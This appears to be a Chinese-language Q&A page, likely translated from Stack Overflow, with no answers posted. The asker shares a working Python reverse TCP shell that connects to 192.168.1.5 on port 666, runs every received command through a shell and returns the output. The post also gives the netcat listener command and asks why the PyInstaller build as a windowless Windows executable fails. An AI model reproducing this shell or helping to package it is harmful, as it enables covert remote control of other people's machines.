使用PyInstaller创建可执行文件的问题

时间:2017-01-17 23:15:00

标签: python linux python-2.7 exe pyinstaller

我在python中使用以下代码构建了一个简单的reverse_tcp

#!/usr/bin/python

import socket
import subprocess

HOST = '192.168.1.5'
PORT = 666

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

while 1:
    data = s.recv(1024)
    proc = subprocess.Popen(data, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    stdout_value = proc.stdout.read() + proc.stderr.read()
    s.send(stdout_value)
s.close()

然后使用我的Linux机器上的命令启动一个带有netcat的监听器

nc -lp 666

我使用python

从Windows 7 VM连接完全没问题
python reverse_tcp.py

然后我尝试从Linux和Windows中使用PyInstaller转换Windows可执行文件中的reverse_tcp.py,但这不起作用

pyinstaller -F -w -n reverse_tcp.exe reverse_tcp.py

我尝试使用--noupx开关也没有成功。

warnreverse_tcp.exe.txt文件的输出如下:

missing module named codecs.mbcs_encode - imported by codecs, encodings.mbcs
missing module named codecs.mbcs_decode - imported by codecs, encodings.mbcs
missing module named unicodedata.ucd_3_2_0 - imported by unicodedata, stringprep, encodings.idna
missing module named _sre.MAXREPEAT - imported by _sre, sre_constants
missing module named _warnings.warn_explicit - imported by _warnings, warnings
...

依此类推165行。

我无法使可执行文件正常工作。有什么想法吗?

0 个答案:

没有答案